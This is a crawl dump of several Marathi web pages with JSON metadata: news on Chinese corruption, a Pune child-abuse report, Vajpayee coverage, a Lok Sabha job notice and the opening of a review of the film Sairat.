"crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00236.warc.wet.gz", "language": "mr", "language_score": 0.86, "bucket": "all"} {"url": "https://divyamarathi.bhaskar.com/news/INT-china-international-news-2198124.html", "date_download": "2018-09-25T17:35:12Z", "digest": "sha1:2JNEXGJXV2FTTGNGJHCAC4T5XL2HDEB6", "length": 7560, "nlines": 146, "source_domain": "divyamarathi.bhaskar.com", "title": "china, international news | चिनी अधिकार्‍यांनी विदेशात दडवले 123 कोटी डॉलर्स", "raw_content": "\nदिव्य मराठी विशेष मधुरिमा\nमधुरिमा रसिक जोक्स हेल्थ-लाइफस्टाइल\nचिनी अधिकार्‍यांनी विदेशात दडवले 123 कोटी डॉलर्स\nअवघ्या दोन दशकांच्या काळात चीनमधील भ्रष्ट अधिकार्‍यांनी 123 कोटी डॉलर्सहून अधिक रक्कम परदेशात पळविली असल्याचे सेंट्रल बँकेने जाहीर केले आहे.\nबिजिंग: अवघ्या दोन दशकांच्या काळात चीनमधील भ्रष्ट अधिकार्‍यांनी 123 कोटी डॉलर्सहून अधिक रक्कम परदेशात पळविली असल्याचे सेंट्रल बँकेने जाहीर केले आहे. सेंट्रल बँकेने चीनमधील भ्रष्टाचाराबाबत केलेल्या अभ्यासात ही धक्कादायक माहिती उघडकीस आली आहे. चीनमधील 16,000 सरकारी अधिकारी आणि सरकारी मालकीच्या कंपन्यातील 18,000 अधिकार्‍यांनी भ्रष्ट मार्गाने मिळविलेले 800 कोटी यान (123.7 कोटी डॉलर्स) परदेशात दडवले आहेत, असे बँकेने जारी केलेल्या अहवालात म्हटले आहे.\nवरिष्ठ स्तरावरील अधिकारी मोठय़ा रकमा घेऊन अमेरिका, कॅनडा, ऑस्ट्रेलियासारख्या विकसित देशांमध्ये परागंदा झाले आहेत, तर इतरांनी रशिया, थायलंडसारख्या देशात ही संपत्ती साठवून ठेवली आहे.\nभ्रष्टाचाराचा आरोप असलेले अनेक अधिकारी पाश्चात्त्य राष्ट्रांत जाण्याची परवानगी मिळेपर्यंत हाँगकाँगमध्ये, तर आफ्रिका, लॅटिन अमेरिका व पूर्व युरोपातील राज्यांमध्ये लपून बसले आहेत. 2008 च्या उपलब्ध माहितीच्या आधारे हे अध्ययन करण्यात आले आहे. सार्वजनिक संपत्तीचा हा अपहार कम्युनिस्ट पक्षाची विश्वासार्हता झपाट्याने कमी करण्यास कारणीभूत ठरत आहे. भ्रष्टाचारविरोधी मोहिमा चालवूनही तो कमी होत नसल्यामुळे कम्युनिस्ट पक्षासाठी मोठा धोका असल्याचा इशारा अध्यक्ष हु जिंताओ आणि अन्य वरिष्ठ नेत्यांनी दिलेला आहे.\nमोबाईलच्या धुंदीत अशी रमली, कळलेच नाही की आपण जातोय तेथून बाहेरचा रस्ता नाहीच; शुद्धीवर आली तेव्हा समोर होती कार, मग...\nOMG: अचानक साप दिसल्यास काय कराल यांनी तर शिजवून खाल्ला; हा पाहा पुरावा...\nचीनमध्ये डाॅक्टरांनी काेमात गेलेल्या ७ जणांना घाेषित केले मृत; NIच्या मदतीने उपचार, सातही रुग्ण अाले शुद्धीवर\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00236.warc.wet.gz", "language": "mr", "language_score": 0.9, "bucket": "all"} {"url": "https://www.mahanmk.com/recruitment/lok-sabha-secretariat-recruitment-16042018.html", "date_download": "2018-09-25T17:19:48Z", "digest": "sha1:M362EUGKZYB7L2N7LAB7LNJRB7CTB6EX", "length": 6167, "nlines": 101, "source_domain": "www.mahanmk.com", "title": "लोकसभा सचिवालय [Lok Sabha Secretariat] नवी दिल्ली येथे 'संयुक्त संचालक' पदांची ०१ जागा", "raw_content": "\nलोकसभा सचिवालय [Lok Sabha Secretariat] नवी दिल्ली येथे 'संयुक्त संचालक' पदांची ०१ जागा\nलोकसभा सचिवालय [Lok Sabha Secretariat] नवी दिल्ली येथे 'संयुक्त संचालक' पदांची ०१ जागा\nलोकसभा सचिवालय [Lok Sabha Secretariat] नवी दिल्ली येथे 'संयुक्त संचालक' पदांची ०१ जागासाठी पात्र उमेदवारांकडून अर्ज मागवण्यात येत असून अर्ज पोहचण्याची अंतिम दिनांक ३० एप्रिल २०१८ आहे. सविस्तर माहितीसाठी कृपया जाहिरात पाहा.\nअधिक माहिती खालीलप्रमाणे :\nसंयुक्त संचालक (Joint Director)\nवेतनमान (Pay Scale) : १५,६००/- रुपये ते ३९,१००/- रुपये + ग्रेड ७६००/- रुपये\nनोकरी ठिकाण : दिल्ली\nअर्ज पाठविण्याचा पत्ता : माननीय अध्यक्ष, लोकसभा\nटीप: आपले वय मोजण्याकरिता Age Calculator चा वापर करावा.\nफॉर्म भरण्याचा अंतिम दिनांक : 30 April, 2018\nNote: नवीन जाहिरातींचे सर्वात जलद अपडेट्स मिळवण्यासाठी \"www.MahaNMK.com\" या संकेतस्थळाला दररोज भेट द्या\n〉 नगरपरिषद देऊळगाव राजा, जि. बुलढाणा येथे 'वीजतंत्री' पदांची ०१ जागा\n〉 श्री गुरु गोबिंद सिंहजी इंजिनीअरिंग अँड टेक्नॉलॉजी, नांदेड येथे 'रिसर्च फेलो' पदांच्या जागा\n〉 कॅन्टोनमेंट बोर्ड देवळाली येथे 'सहाय्यक आरोग्य निरीक्षक' पदांच्या ०२ जागा\n〉 लोणार नगर परिषद [Lonar Nagar Parishad] बुलढाणा येथे 'स्थापत्य अभियंता' पदांची ०१ जागा\n〉 भारत हेवी इलेक्ट्रिकल लिमिटेड [BHEL] नागपूर येथे 'अर्धवेळ वैद्यकीय सल्लागार' पदांची ०१ जागा\n〉 झारखंड उच्च न्यायालय [Jharkhand High Court] रांची येथे विविध पदांच्या ७३ जागा\n〉 शासकीय अध्यापक महाविद्यालय मुंबई येथे 'सहायक प्राध्यापक' पदांच्या ०४ जागा\n〉 सोलापूर जिल्हा मध्यवर्ती सहकारी बँक मर्यादित येथे 'संगणक सल्लागार' पदांच्या जागा\n〉 राज्यसेवा प्रश्नपत्रिका संच\n〉 RRB भारतीय रेल्वेच्या ग्रुप-डी परीक्षा प्रवेशपत्र\n〉 जिल्हा निहाय जाहिराती\n〉 शैक्षणिक पात्रतेनुसार जाहिराती.\n〉 माहिती व जनसंपर्क विभाग.\n〉 महाराष्ट्र लोकसेवा आयोग.\n〉 केंद्रीय लोकसेवा आयोग.\n〉 स्टाफ सलेक्शन कमिशन.\n〉 महिला व बालविकास विभाग.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00236.warc.wet.gz", "language": "mr", "language_score": 0.81, "bucket": "all"} {"url": "https://lokmat.news18.com/national/article-242993.html", "date_download": "2018-09-25T17:43:14Z", "digest": "sha1:S76IWMYLBF2RMOYDEUWKBEALYCE4WFPO", "length": 15584, "nlines": 167, "source_domain": "lokmat.news18.com", "title": "मोदींचं भाषण म्हणजे 'नो डेडलाईन,ओन्ली हेडलाईन', काँग्रेसची टीका", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nमोदींचं भाषण म्हणजे 'नो डेडलाईन,ओन्ली हेडलाईन', काँग्रेसची टीका\nमोदींचं भाषण म्हणजे 'नो डेडलाईन,ओन्ली हेडलाईन', काँग्रेसची टीका\nVIDEO : काश्मीरमध्ये अतिरेक्यांची पोलिसांनाच दहशत, ३ पोलिसांची हत्या\nतेलंगणातलं 'सैराट' : त्या जोडप्याचा पोस्ट वेडिंग व्हिडिओ झाला व्हायरल\nVIDEO: पाहा जेट एअरवेज विमानात नेमकं काय झालं\nVIDEO : डॉलरच्या तुलनेत 81 पैशांनी घसरला रूपया, जाणून घ्या काय आहे कारण\nभाजप खासदाराचे पाय धुऊन कार्यकर्त्यांनी प्यायले पाणी, VIDEO व्हायरल\n'विराटने लग्नाचे 300 कोटी भारतात खर्च केले असते तर लोकांना मिळालं असतं काम'\nVIDEO : सुसाट रेल्वेखाली थरारक स्टंट \nVIDEO : काँग्रेसचे नेते दीड तास अडकले रेल्वेच्या टाॅयलेटमध्ये \nVIDEO : तेलंगणा बस अपघात, गाडीला कापून गावकऱ्यांनी वाचवले प्रवाशांचे प्राण\nVIDEO: समलैंगिकता गुन्हा नाही, सर्वोच्च न्यायालयाच्या निर्णयानंतर देशभरात जल्लोष\nVIDEO : पोलिसाचा असा निरोप समारंभ तुम्ही कधी पाहिला नसेल\nVideo : काश्मीर आणि नेपाळमध्ये असा साजरा झाला कृष्णजन्म\nVIDEO : नवीन महाराष्ट्र सदनात आमचाच बळी गेला - भुजबळ\nVIDEO : जगात पहिल्यांदाच झाला असा अपघात, कोट्यवधींच्या गाड्या समुद्रात बुडाल्या\nVIDEO : देवदुतासारखे धावून आले पोलीस, आगीच्या वणव्यातून वर ओढून काढलं महिलेला\nVIDEO : अपघातानंतर आई-वडील पडले खाली, लहानग्यासोबत 500 मीटर धावली बाईक\nहार्दिक पटेलच्या साथीदाराला अटक केल्यानंतर सुरतमध्ये बस जाळली\nVIDEO: अटल बिहारी वाजपेयींच्या पार्थिवाचे अंत्यदर्शन घ्यायल्या गेलेल्या स्वामी अग्निवेश यांना मारहाण\nVIDEO: अटल बिहारी वाजपेयी दौऱ्यांमध्ये असे भेटायचे नरेंद्र मोदींना\nVIDEO: वाजपेयींच्या तब्येतीबद्दल ऐकून ढसाढसा रडली नात\nवाजपेयींसाठी शाळेच्या विद्यार्थ्यांनी पडला नमाज\nवाजपेयींच्या भाचीचा हा VIDEO पाहून तुम्हालाही होतील अश्रू अनावर\nअडचणीत सापडला सलमानचा मेहुणा, पोलिसांनी भर रस्त्यात पकडलं\nVIDEO थरार : केरळ - चिमुकल्याचा जीव वाचवताना जवानानं लावली जीवाची बाजी\nVIDEO : दारुच्या नशेत कोब्राशी खेळणं पडलं भारी, थेट पोहचला रुग्णालयात\nVIDEO : रामानेही सीतेला सोडलं होतं : तिहेरी तलाकवर हुसेन दलवाईंचं वादग्रस्त वक्तव्य\nVIDEO : भावाच्या अंत्यसंस्काराला काही कमी पडू नये म्हणून बहिण झाली खंबीर\nVIDEO : ट्रकच्या धडकेत सहाजणांचा मृत्यू\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nमहाराष्ट्र, फोटो गॅलरी, स्पेशल स्टोरी\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\nAsia Cup 2018- धोनी कर्णधार बनताच टीम इंडिया झाली ‘चेन्नई सुपर किंग्स’\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00238.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "https://lokmat.news18.com/pune/a-father-try-to-hit-the-4-month-old-boy-on-the-ground-in-pune-288960.html", "date_download": "2018-09-25T17:44:28Z", "digest": "sha1:UXRXXDDCKAECG2YKNOLNSZQJDTJJKKJG", "length": 13042, "nlines": 126, "source_domain": "lokmat.news18.com", "title": "बापानंच केला ४ महिन्यांच्या मुलाला जमिनीवर आपटून जीवे मारण्याचा प्रयत्न", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nबापानंच केला ४ महिन्यांच्या मुलाला जमिनीवर आपटून जीवे मारण्याचा प्रयत्न\nएका व्यसनाधीन पित्याने आपल्या चार महिन्याच्या बाळाला जमींनवर आपटून मारण्याचा प्रयत्न केला आहे.\n02 मे : पिंपरी चिंचवडमध्ये दारु पिणाऱ्या नराधमांकडून मानुसकीला काळीमा फासणाऱ्या दोन घटना घडल्या आहेत. पहिल्या घटनेमध्ये एका व्यसनाधीन पित्याने आपल्या चार महिन्याच्या बाळाला जमींनवर आपटून मारण्याचा प्रयत्न केला आहे. तर, दुसऱ्या घटनेमध्ये एका व्यसनाधीन भावाने आपल्याच बहिनीवर बलात्कार केल्याची घटना उघडिकिस आली आहे. या दोन्हीही घटनांमुळे परिसरात खळबळ माजली आहे.\nया दोन्ही घटनांमधील आरोपीना पोलिसांनी अटक केली आहे. दरम्यांन, पत्नीने दारुसाठी ठेवलेले पैसे का मागीतले म्हणून नराधम बापाने आपल्या चिमुकल्याला जमिनीवर आपटून बेदम मारहाण केली आहे. यावेळी जमावाने आणि त्याच्या पत्नीने त्याला बेदम मारहाण केली आहे. त्याचा व्हिडिओ आसा जोरदार व्हायरल होत आहे. मारहाण केलेल्या त्या चिमुकल्यावर सध्या पुण्यातील ससून रुग्णालयात उपचार सुरु आहेत.\nआरोपी असलेला बाप सध्या पोलिसांच्या ताब्यात आहे. दोन्हीही घटनेंसाठी परिसरात हळ हळ व्यक्त केली जात असून या घटनांमुळे दारुचे दुष्परिणाम किती वाईट असतात हे पुन्हा एकदा अधोरेखित झालं आहे.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nपुजेच्या चिठ्ठीत सहा जणांची नावं, रक्ताचे थेंब आणि काळ्या बाहुल्या\nPHOTOS: पुण्यात 'आवाज वाढीव DJ तुला आईची शपथ हाय'\nतीन राज्य, दोन महिने, अखेर पोलिसांनी शोधले 101 मोबाईल्स\n पुण्यात समोस्याच्या गोड चटणीत आढळला मेलेला उंदीर\nडोळ्याचं पारणं फेडणारा दगडूशेठ गणपतीचा अथर्वशीर्ष सोहळा पाहा ड्रोनमधून\nVIDEO: श्रीमती काशीबाई नवले 'मेडिकल' कॉलेजच व्हेंटिलेटरवर\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00238.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/%E0%A4%AA%E0%A4%82%E0%A4%A4%E0%A4%AA%E0%A5%8D%E0%A4%B0%E0%A4%A7%E0%A4%BE%E0%A4%A8%E0%A4%AA%E0%A4%A6/", "date_download": "2018-09-25T16:47:39Z", "digest": "sha1:PJ2EVS4HSUWZLH52JPQJIBY35G4YLWYO", "length": 11674, "nlines": 144, "source_domain": "lokmat.news18.com", "title": "पंतप्रधानपद- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nराज ठाकरेंनी कुंचल्यातून वाहिली अटलजींना अनोखी श्रद्धांजली\nमनसेचे अध्यक्ष राज ठाकरे यांनी आपल्या कुंचल्यातून अटलजींना अनोखी श्रद्धांजली वाहिली.\nमाजी पंतप्रधान अटल बिहारी वाजपेयी अनंतात विलीन, मुलीने दिला मुखाग्नी\nअटलजींची अंत्ययात्रा; सुरक्षेची तमा न बाळगता मोदी- शहा पायी चालत सहभागी\nअटलजींचं पार्थिव अंत्यदर्शनासाठी भाजप मुख्यालयात\nअटल- आडवाणी ६५ वर्षांची मैत्री आणि बरंच काही\nअटल बिहारी वाजपेयींवर आज होणार अंत्यसंस्कार, दिल्लीतील हे रस्ते केले बंद\nअटलजींच्या निधनाने अवघा देश हळहळला, शुक्रवारी होणार अंत्यसंस्कार\nअटल बिहारी वाजपेयी व्हेंटिलेटवर, 'एम्स' मध्ये सुरू आहेत उपचार, पंतप्रधान भेटीला\n...तर राहुल गांधीच पंतप्रधान होणार : काँग्रेसने स्पष्ट केली भूमिका\nअटल बिहारी वाजपेयींच्या भेटीला राहुल गांधी 'एम्स'मध्ये\nअटल बिहारी वाजपेयी 'एम्स'मध्ये दाखल, प्रकृती स्थिर\nपाकिस्तानमध्ये होणार पहिली हिंदू महिला खासदार\nअशोकराव मोहोळ अमृत महोत्सवी कार्यक्रमात बाळा नांदगावकरांनी अशी घेतली फिरकी\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00238.warc.wet.gz", "language": "mr", "language_score": 0.9, "bucket": "all"} {"url": "https://maysabha.com/author/sokaji/", "date_download": "2018-09-25T17:21:18Z", "digest": "sha1:AJT4V7Q4XJYANEMIL4ZMDG5WISTUSAJE", "length": 11169, "nlines": 35, "source_domain": "maysabha.com", "title": "सोकाजीराव त्रिकोकेकर « मयसभा", "raw_content": "\nHome » Articles posted by सोकाजीराव त्रिकोकेकर\nAuthor Archives: सोकाजीराव त्रिकोकेकर\nसैराट – अफाट स्टोरी टेलींग\nअचानक दाणकन कानाखाली बसल्यावर जो एक सुन्नपणा येतो, बधीरता येऊन कान बंद होऊन आकस्मिक आणि क्षणिक बहिरेपणा येतो, तो कधी अनुभवलाय मी नुकताच अनुभवला…सैराट बघितला तेव्हा\nप्रत्येक संवेदनशील कलाकार, संवेदनशीलतेने टिपलेल्या अनुभवांची, मनात घुमणारी आवर्तनं अभिव्यक्त करायला एक माध्यम वापरतो. मनातली खळबळ, विद्रोह सार्थपणे उतरवण्यासाठी ह्या माध्यमाचा सार्थ वापर करावा लागतो त्या कलाकाराला. चित्रकार कुंचला आणि कॅनव्हास वापरून विवीध रंगांतून ते आव्हान पेलण्याचा प्रयत्न करतो तर लेखक कवी शब्दांशी खेळून. सिनेमा हे एक माध्यम, प्रभावी माध्यम म्हणून संवेदनशीलतेने ‘स्टोरी टेलींग’ साठी आजपर्यंत बर्‍याच जणांनी हाताळले आहे. अलीकडच्या काळात विशाल भारद्वाज, अनुराग कश्यप वगैरे सारखे कलाकार हे माध्यम फार हुकामातीने वापरताना दिसतात. मराठी चित्रपटात हे अभावानेच अनुभवायला मिळतं\nनागराज मंजुळे, सिनेमा हे माध्यम ‘स्टोरी टेलींग’ साठी किंवा मनातली खळबळ अतिशय प्रभावीपणे मांडण्यासाठी कसे हुकुमतीने वापरता येते ह्याची जाणीव करून देतो सैराटमधून. कुठलाही अभिनिवेश न बाळगता, कसलाही आव न आणता निरागस गोष्ट सांगण्याची शैली, सिनेमा हे माध्यम किती प्रभावी आहे आणि किती लवचिकतेने संवेदनशीलता अभिव्यक्त करण्यासाठी कसे प्रभावीपणे वापरता येते ह्याचे उदाहरण म्हणजे सैराट\nनीयो-रियालिझम ही एक सिनेमाशैली 